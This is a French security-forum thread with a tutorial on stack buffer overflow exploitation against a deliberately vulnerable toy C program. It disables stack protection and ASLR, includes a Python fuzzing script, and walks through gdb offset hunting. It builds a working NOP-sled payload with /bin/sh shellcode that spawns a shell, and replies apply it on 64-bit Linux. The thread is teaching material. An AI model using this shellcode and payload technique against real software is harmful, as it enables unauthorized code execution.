Affichage hiérarchique

fr0g · (Modification du message : 20-06-2013, 21h09 par fr0g.)

# Author : fr0g
# Website : http://hwc-crew.com
# Date : 02/02/2012
# Thank's : Storn( bsoddigital.fr ), int_0x80( big-daddy.fr )

Hello all, avant que les esprits ne s'échauffent, je tiens à préciser qu'il est préférable, pour ne pas dire nécessaire voire "indispensable", d'avoir des connaissances sur le fonctionnement d'un processeur, l'Assembleur, et une connaissance théorique des failles de type "Stack Overflow" afin de pouvoir suivre ce tutoriel en le comprenant correctement, je vais procéder à l'exploitation d'un programme "bidon" en vous expliquant les étapes au fur et à mesure, toutefois, je vais essayer de me montrer le plus explicite possible .

NOTE : les mots suivis d'un "*" (exemple : BOF*) sont expliqués en bas de l'article

Analysons le programme qui va être exploité :

Code :
#include <string.h>

void overflow(const char* buf) {

        char buffer[256];

        strcpy(buffer, buf);

        printf("Fermeture du programme ...\n");

}

int main(int argc, char *argv[]) { // première fonction appelée par le programme (avec un argument en paramètre)

    if(argc > 1) {       // si un argument est donné

        overflow(argv[1]);  // on appelle la fonction overflow avec notre argument en paramètre

    }

    else {                  // Sinon

        printf("Utilisation : ./vuln [arg]\n");

    }

    return 0;

}

Afin de rendre notre exécutable vulnérable, on va le compiler de la manière suivante :

Code :
gcc vuln.c -o vuln -fno-stack-protector -ggdb3

(afin de désactiver la détection des Buffer overflow)

Passons un coup notre programme à execstack pour savoir si l’exécution de la stack est possible :
(Pour installer execstack (sous Debian) : sudo apt-get install execstack)

Afin de savoir si le programme est vulnérable on fait :

Code :
fr0g@HWCare:~/Bureau$ execstack -q vuln

- vuln

Ceci nous signifie que la pile n'est pas exécutable, pour y remédier, execstack nous propose une fonction magique qui est :

Code :
execstack -s vuln

On regarde à nouveau ? allez, soyons fous :

Code :
fr0g@HWCare:~/Bureau$ execstack -q vuln

X vuln

Yeaaah, il ne nous reste plus qu'a désactiver l'ASLR*, grâce à :

Code :
sudo sysctl -w kernel.randomize_va_space=0

Trêve de futilités mondaines, passons à l'exploitation Smile

Afin de déterminer à combien d'octets notre buffer va déborder, je vous invite à utiliser ce script:

Code :
# -------------------------------------------------------------------------------------------------

#coding=utf-8

#

# Desc : Petit script (faisant partie d\'un de mes projets actuels)

# effectuant un test un peu (beaucoup) bourrin afin de vérifier

# la présence ou non d\'une faille de Stack Overflow

# dans l\'argument principal dans un exécutable quelconque.

import os

import commands

import sys

# --------------------------------------------------Class (color)

class bcolors:

HEADER = '\033[36m'

OKBLUE = '\033[94m'

OKGREEN = '\033[92m'

WARNING = '\033[31m'

ENDC = '\033[0m'

# -------------------------------------------------FONCTIONS

def header():

   os.system('clear')

   print bcolors.HEADER + """

- E.X.P.S.T.A.C.K -

[*] Author : fr0g

[*] WebSite : http://hwc-crew.com

[*] Th'x : Storn

"""+ bcolors.ENDC

def exp(cible):

   compteur = 1

   cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")

   rep = commands.getoutput(cmd)

   while (rep != "Segmentation fault"):

      header()

      compteur += 1

      print bcolors.OKBLUE + "[*] App : " + str(cible) +bcolors.ENDC

      print  bcolors.OKGREEN + "\n[*] Inject : " + str(compteur) + " Bytes" +  bcolors.ENDC

      cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")

      rep = commands.getoutput(cmd)

   print bcolors.WARNING + "\n[!] Stack Overflow at : " + str(compteur) + " Bytes in the buffer \n\n"+bcolors.ENDC

#--------------------------------------------------------Start here

if (len(sys.argv) < 2):

   print bcolors.WARNING + "\n[*] Where is your f*ckin binary ? \n[*] Use : ./findstackof [app] \n" + bcolors.ENDC

else:

   header()

   if (os.path.isfile(sys.argv[1])):

      try:  

         exp(sys.argv[1])

      except:

         print bcolors.WARNING + "\n Error" + bcolors.ENDC

   else:

      print bcolors.WARNING + "\n Error : Unknown file ..." + bcolors.ENDC

# -------------------------------------------------------------------------------------------------

On le lance avec le nom de notre application en paramètres :

Code :
fr0g@HWCare:~/Bureau$ python findstackof.py vuln

- E.X.P.S.T.A.C.K -

[*] Author : fr0g

[*] WebSite : http://hwc-crew.com

[*] Th'x : Storn

[*] App : vuln

[*] Inject : 264 Bytes

[!] Seg fault at : 264 Bytes in the buffer

fr0g@HWCare:~/Bureau$

On sait donc qu'a partir de 264 Octets, notre programme va planter : un petit test à l'ancienne :

Code :
fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 264*'A'"`

Fermeture du programme ...

Erreur de segmentation

fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 263*'A'"`

Fermeture du programme ...

fr0g@HWCare:~/Bureau$

Comme on le voit ici, le programme se ferme correctement à 263 octets, mais si on lui en donne 264, il plante. Maintenant, désassemblons notre exécutable avec cet outil magique qu'est le Gnu DeBugger, puis on va placer quelques octets (précisément des NOP (\x90)) dans l'argument sur lequel va travailler le programme, (dans le cas présent, j'en ai mis 270)

Code :
fr0g@HWCare:~/Bureau$ gdb vuln

...

(gdb) r `python -c "print 270*'\x90'"`

Starting program: /home/fr0g/Bureau/vuln `python -c "print 270*'\x90'"`

Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.

0x08009090 in ?? ()

(gdb)

Si on regarde de plus près, l'adresse renvoyée par gdb : 0x08009090, on voit que les 2 derniers octets de l'adresse sont 9090 (90 est la valeur hexadécimale correspondant à l'instruction NOP en Assembleur)

Afin d'être certain que ce n'est pas une coïncidence, essayons avec deux NOP en plus:

Code :
(gdb) r `python -c "print 272*'\x90'"`

Starting program: /home/fr0g/Bureau/vuln `python -c "print 272*'\x90'"`

Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.

0x90909090 in ?? ()

(gdb)

BINGO !!!, Maintenant, un peu de calcul (rien de difficile ^^)

Je m'explique, l'adresse renvoyée par gdb correspond à ce que contient le registre EIP (qui est censé contenir en permanence l'adresse de la prochaine instruction à exécuter), autrement dit, il va falloir retirer au nombre de NOP entrés en paramètre, le nombre d'octets que l'on voudra placer dans EIP, afin qu'il pointe sur notre shellcode.

Donc : 272-4 = 268 NOPS

Essayons comme ceci :

Code :
(gdb) r `python -c "print 268*'\x90' + 'ABCD'"`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/fr0g/Bureau/vuln `python -c "print 268*'\x90' + 'ABCD'"`

Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.

0x44434241 in ?? ()

EIP contient maintenant 0x44434241, ceci correspond à BCDA en hexadécimal,

Pourquoi est-ce à l'envers ?

Tous les détails ici : http://en.wikipedia.org/wiki/Endianness

c'est pareil pour les octets de l'adresse que l'on va placer dans la pile, pour connaître cette adresse, on observe les registres du processeur après avoir fais planter le programme avec la dernière commande :

Code :
(gdb) info reg

eax            0x1b     27

ecx            0xffffffff       -1

edx            0x2bb398 2864024

ebx            0x2b9ff4 2858996

esp            0xbffff610       0xbffff610

ebp            0x90909090       0x90909090

esi            0x0      0

edi            0x0      0

eip            0x44434241       0x44434241

eflags         0x10282  [ SF IF RF ]

cs             0x73     115

ss             0x7b     123

ds             0x7b     123

es             0x7b     123

fs             0x0      0

gs             0x33     51

(gdb)

EIP contient bien les octets que l'on à placé après les nops, allons jeter un œil au registre esp :

Code :
(gdb) x/64x $esp

0xbffff7d0:     0x724e4038      0xe64d71aa      0x69086bdd      0x00363836

0xbffff7e0:     0x6d6f682f      0x72662f65      0x422f6730      0x61657275

0xbffff7f0:     0x75762f75      0x90006e6c      0x90909090      0x90909090

0xbffff800:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff810:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff820:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff830:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff840:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff850:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff860:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff870:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff880:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff890:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff8a0:     0x90909090      0x90909090      0x90909090      0x90909090

Il ne nous reste plus qu'à noter une adresse qui tombe dans les NOP : 0xbffff800

Allez, on repars dans un petit calcul, le Shellcode que l'on va utiliser est un simple /bin/sh de 24 octets :

Code :
\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

( Source : http://big-daddy.fr/repository/C0dz/binsh%28Djo%29.txt )

Comme précédemment, il faut retirer au nombre de NOP le nombre d'octets composants shellcode, soit :

268 - 24 = 244
Notre exploit va se constituer de la manière suivante :

les 244 NOP + le shellcode + l'adresse de retour, il ne reste plus qu'a essayer, on lance l'exploit :

Je rappelle que notre adresse doit être écrite afin de correspondre à l'endiannes, donc 0xbffff800 = bffff800 = \x00\xf8\xff\xbf
ce qui donne :

Code :
`python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`

Code :
(gdb) r `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/fr0g/Bureau/vuln `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`

Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.

0x00bffff8 in ?? ()

(gdb)

Hmm, la fatigue me prends, une erreur de calcul manifestement, on voit clairement que l'adresse que l'on a placée dans l'argument avec les NOP et le shellcode n'est pas correctement placée dans EIP, mais cela n'est pas très grave, ajoutons un NOP histoire de la décaler, ce qui donne cet exploit :

Code :
`python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`

Cette fois, ça devrait fonctionner, on quitte gdb, et on lance l'application avec notre exploit en paramètre :

Code :
fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`

Fermeture du programme ...

$ echo 'Just a stack overflow !!!'

Just a stack overflow !!!

$

Notre shellcode s'est éxécuté, et a correctement appelé le /bin/sh Smile

Voilà, j'espère que j'ai été assez clair, bien que j'ai précisé que ce tutoriel s'adresse principalement aux initiés en langage Assembleur .

Cordialement, fr0g.

################################################################################

Lexique :

BOF : Abréviation de Buffer Overflow
ASLR : "Address space layout randomization" : permet de rendre aléatoir les adresses de pile

################################################################################

***Di0Sasm*** · 11-02-2012, 02h56

Très bon tutoriel, très bien expliqué.

fr0g · 12-02-2012, 20h35

Merci, si certains ont des améliorations à apporter au tuto, je suis preneur Smile

Trivial · 18-06-2013, 22h05

Je vais remonter le thread, mais ce n'est pas grave.. Ce tuto vaut la peine d'être lu :-)

Merci à toi de partager Smile

Satyr · 18-06-2013, 23h31

Code :
# --------------------------------------------------------------------------------------------------------------------------------------

#coding=utf-8

#

# Desc : Petit script (faisant partie d\'un de mes projets actuels)

# effectuant un test un peu (beaucoup) bourrin afin de verifier

# la présence ou non d\'une faille de Stack Overflow

# dans l\'argument principal dans un executable quelconque.

import os

import commands

import sys

# --------------------------------------------------Class (color)

class bcolors:

HEADER = '\033[36m'

OKBLUE = '\033[94m'

OKGREEN = '\033[92m'

WARNING = '\033[31m'

ENDC = '\033[0m'

# -------------------------------------------------FONCTIONS

def header():

    os.system('clear')

    print bcolors.HEADER + """

- E.X.P.S.T.A.C.K -

[*] Author : fr0g

[*] WebSite : http://hwc-crew.com

[*] Th'x : Storn

    """+ bcolors.ENDC

def exp(cible):

    compteur = 1

    cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")

    rep = commands.getoutput(cmd)

    while (rep != "Segmentation fault"):

            header()

            compteur += 1

            print bcolors.OKBLUE + "[*] App : " + str(cible) +bcolors.ENDC

            print  bcolors.OKGREEN + "\n[*] Inject : " + str(compteur) + " Bytes" +  bcolors.ENDC

            cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")

            rep = commands.getoutput(cmd)

    print bcolors.WARNING + "\n[!] Stack Overflow at : " + str(compteur) + " Bytes in the buffer \n\n"+bcolors.ENDC

#--------------------------------------------------------Start here

if (len(sys.argv) < 2):

    print bcolors.WARNING + "\n[*] Where is your f*ckin binary ? \n[*] Use : ./findstackof [app] \n" + bcolors.ENDC

else:

    header()

    if (os.path.isfile(sys.argv[1])):

            try:  

                    exp(sys.argv[1])

            except:

                    print bcolors.WARNING + "\n Error" + bcolors.ENDC

    else:

            print bcolors.WARNING + "\n Error : Unknown file ..." + bcolors.ENDC

#----------------------------------------------------------------------------------------------------------------------------------------

Doit être remplacé par :

Code :
# --------------------------------------------------------------------------------------------------------------------------------------

#coding=utf-8

#

# Desc : Petit script (faisant partie d\'un de mes projets actuels)

# effectuant un test un peu (beaucoup) bourrin afin de verifier

# la présence ou non d\'une faille de Stack Overflow

# dans l\'argument principal dans un executable quelconque.

import os

import commands

import sys

# --------------------------------------------------Class (color)

class bcolors:

    HEADER = '\033[36m'

    OKBLUE = '\033[94m'

    OKGREEN = '\033[92m'

    WARNING = '\033[31m'

    ENDC = '\033[0m'

# -------------------------------------------------FONCTIONS

def header():

    os.system('clear')

    print bcolors.HEADER + """

- E.X.P.S.T.A.C.K -

[*] Author : fr0g

[*] WebSite : http://hwc-crew.com

[*] Th'x : Storn

    """+ bcolors.ENDC

def exp(cible):

    compteur = 1

    cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")

    rep = commands.getoutput(cmd)

    while (rep != "Segmentation fault"):

            header()

            compteur += 1

            print bcolors.OKBLUE + "[*] App : " + str(cible) +bcolors.ENDC

            print  bcolors.OKGREEN + "\n[*] Inject : " + str(compteur) + " Bytes" +  bcolors.ENDC

            cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")

            rep = commands.getoutput(cmd)

    print bcolors.WARNING + "\n[!] Stack Overflow at : " + str(compteur) + " Bytes in the buffer \n\n"+bcolors.ENDC

#--------------------------------------------------------Start here

if (len(sys.argv) < 2):

    print bcolors.WARNING + "\n[*] Where is your f*ckin binary ? \n[*] Use : ./findstackof [app] \n" + bcolors.ENDC

else:

    header()

    if (os.path.isfile(sys.argv[1])):

            try:  

                    exp(sys.argv[1])

            except:

                    print bcolors.WARNING + "\n Error" + bcolors.ENDC

    else:

            print bcolors.WARNING + "\n Error : Unknown file ..." + bcolors.ENDC

#----------------------------------------------------------------------------------------------------------------------------------------

La seule différence est sur la structure bcolors ou tu na pas indenté correctement les éléments ^^

Cordialement Satyr.

fr0g · 19-06-2013, 02h25

Satyr : surement un blem du copy/paste sur le forum , merci bien Smile

CronosDark · 20-06-2013, 08h20

Merci pour le tutoriel.
Il est bien fait! =)

Hypnoze57 · (Modification du message : 20-05-2014, 10h15 par Hypnoze57.)

J'ai une question, mon seg fault commence à 256 octets et pas 272, pourquoi? (Je précise que je suis en 64 bits (eip = rip chez moi))

pas à 264*

gruik · 20-05-2014, 10h36

(20-05-2014, 10h15)Hypnoze57 a écrit : J'ai une question, mon seg fault commence à 256 octets et pas 272, pourquoi?

parceque le binaire ^^
tu devrais regarder dedans comment le programme déclare ton buffer et ce qu'il fait avec la stack exactement

Hypnoze57 · 20-05-2014, 10h38

et j'en profite aussi pour vous demandez pourquoi je n'ai aucune adresse qui "tombe dans les NOPS"

Code :
Program received signal SIGSEGV, Segmentation fault.

0x0000000044434241 in ?? ()

(gdb) x/64x $rsp

0x7fffffffe520:    0xffffe618    0x00007fff    0x00000000    0x00000002

0x7fffffffe530:    0x00000000    0x00000000    0xf7a70ead    0x00007fff

0x7fffffffe540:    0x00000000    0x00000000    0xffffe618    0x00007fff

0x7fffffffe550:    0x00000000    0x00000002    0x004005d3    0x00000000

0x7fffffffe560:    0x00000000    0x00000000    0x8a3bc84d    0xc0043179

0x7fffffffe570:    0x00400490    0x00000000    0xffffe610    0x00007fff

0x7fffffffe580:    0x00000000    0x00000000    0x00000000    0x00000000

0x7fffffffe590:    0x40bbc84d    0x3ffbce86    0x96ebc84d    0x3ffbde37

0x7fffffffe5a0:    0x00000000    0x00007fff    0x00000000    0x00000000

0x7fffffffe5b0:    0x00000000    0x00000000    0x00400630    0x00000000

0x7fffffffe5c0:    0xffffe618    0x00007fff    0x00000002    0x00000000

0x7fffffffe5d0:    0x00000000    0x00000000    0x00000000    0x00000000

0x7fffffffe5e0:    0x00400490    0x00000000    0xffffe610    0x00007fff

0x7fffffffe5f0:    0x00000000    0x00000000    0x004004b9    0x00000000

0x7fffffffe600:    0xffffe608    0x00007fff    0x0000001c    0x00000000

0x7fffffffe610:    0x00000002    0x00000000    0xffffe8e6    0x00007fff

(Je précise que j'ai run avec en arg `perl -e 'print "\x90"x264 . "ABCD"'`)

gruik · 20-05-2014, 10h46

t'as essayé de regarder avant 0x7fffffffe520 et apres 0x7fffffffe610 ?

Hypnoze57 · 20-05-2014, 10h56

Merci pour tes réponses gruik ! J'ai regarder un peu mon programme effectivement si je ne me trompe pas, 0x00000000004005b5 <+25>: lea -0x100(%rbp),%rax = 254 octets
Par contre, pour ma seconde question (qui est très bloquante) j'ai regarder après mais je ne sais pas comment regarder avant, une idée?
Le premier que je trouve se situe à 0x7fffffffe910 c'est bizarre non?

gruik · 20-05-2014, 11h14

(20-05-2014, 10h56)Hypnoze57 a écrit : si je ne me trompe pas, 0x00000000004005b5 <+25>: lea -0x100(%rbp),%rax = 254 octets

raté

0x100 = 256

Citation :Par contre, pour ma seconde question (qui est très bloquante) j'ai regarder après mais je ne sais pas comment regarder avant, une idée?

Code :
(gdb) x/64x $rsp - 256

(gdb) x/64x $rsp - 512

(gdb) x/64x $rsp - 768

etc.

pour rappel "x/64x" on dump 64 dwords en hexadecimal, un dword c'est 4 octets dont 64x4 = 256, chaque "page" qu'on affiche on recule de 256
on a tout interet à s'arranger avec gdb et rendre ça aussi pratique que possible hein :

Code :
(gdb) x/128x $rsp - (512*0)

(gdb) x/128x $rsp - (512*1)

(gdb) x/128x $rsp - (512*2)

etc.

Hypnoze57 · 20-05-2014, 12h48

Merci pour tes réponses, effectivement mes nops commencent plus haut c'est peut être la source de mon problème (vu que j'essayé plus bas) je vous tiendrai au courant de mes avancées

Hypnoze57 · (Modification du message : 20-05-2014, 15h28 par Hypnoze57.)

Hum je ne comprends pas pourquoi ceci ne fonctionne pas.. :

Code :
w00t@debian:~/applicatif/buffer_overflow$ ./fr0g `perl -e 'print "\x90"x237 . "\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1​\xb0\x0b\xcd\x80" . "\x10\xe4\xff\xff\xff\x7f"'`

Fermeture du programme ...

Erreur de segmentation (core dumped)

w00t@debian:~/applicatif/buffer_overflow$ gdb -c core 

GNU gdb (GDB) 7.4.1-debian

Copyright (C) 2012 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"

and "show warranty" for details.

This GDB was configured as "x86_64-linux-gnu".

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>.

[New LWP 7403]

Core was generated by `./fr0g ������������������������������������������������������������������������'.

Program terminated with signal 11, Segmentation fault.

#0  0x00007fffffffe410 in ?? ()

(gdb) i r

rax            0x1b    27

rbx            0x0    0

rcx            0x7ffff7b22160    140737349034336

rdx            0x7ffff7dd8e10    140737351880208

rsi            0x7ffff7ff8000    140737354104832

rdi            0xffffffff    4294967295

rbp            0x80cd0bb08b80e2e1    0x80cd0bb08b80e2e1

rsp            0x7fffffffe570    0x7fffffffe570

r8             0xffffffff    4294967295

r9             0x0    0

r10            0x22    34

r11            0x246    582

r12            0x400490    4195472

r13            0x7fffffffe660    140737488348768

r14            0x0    0

r15            0x0    0

rip            0x7fffffffe410    0x7fffffffe410

eflags         0x10206    [ PF IF RF ]

cs             0x33    51

ss             0x2b    43

ds             0x0    0

es             0x0    0

fs             0x0    0

gs             0x0    0

rip est bien réecrit avec la bonne adresse mémoire (trouvé avec gdb avec x/64x $rsp -512)
Pourquoi j'ai un seg fault et ne suis pas redirigé vers /bin/sh?

J'ai peu être identifier le problème, je regardai le fichier core alors qu'en le faisant directement dans gdb avec 236 j'ai 2 caractères qui manque dans mon adresse (comme fr0g d'ailleur) et avec 237 sous gdb l'adresse change pas mal..
Adresse à obtenir: 0x7fffffffe410
rip avec 236 (sous gdb ET fichier core) : 0x7fffffffe4
rip avec 237 (sous gdb) : 0x7fffffffe50b
rip avec 237 (fichier core) : 0x7fffffffe410 (Bonne adresse !!)
Auriez-vous des idées?

Sujets apparemment similaires…
Sujet		Auteur	Réponses	Affichages	Dernier message
	Metasploit, les bases et exploitation	itcef	9	1,091	25-09-2014, 23h26 Dernier message: The_Dark_Line

Identifiant Mot de passe
S’enregistrer \| Mot de passe oublié ? Se rappeler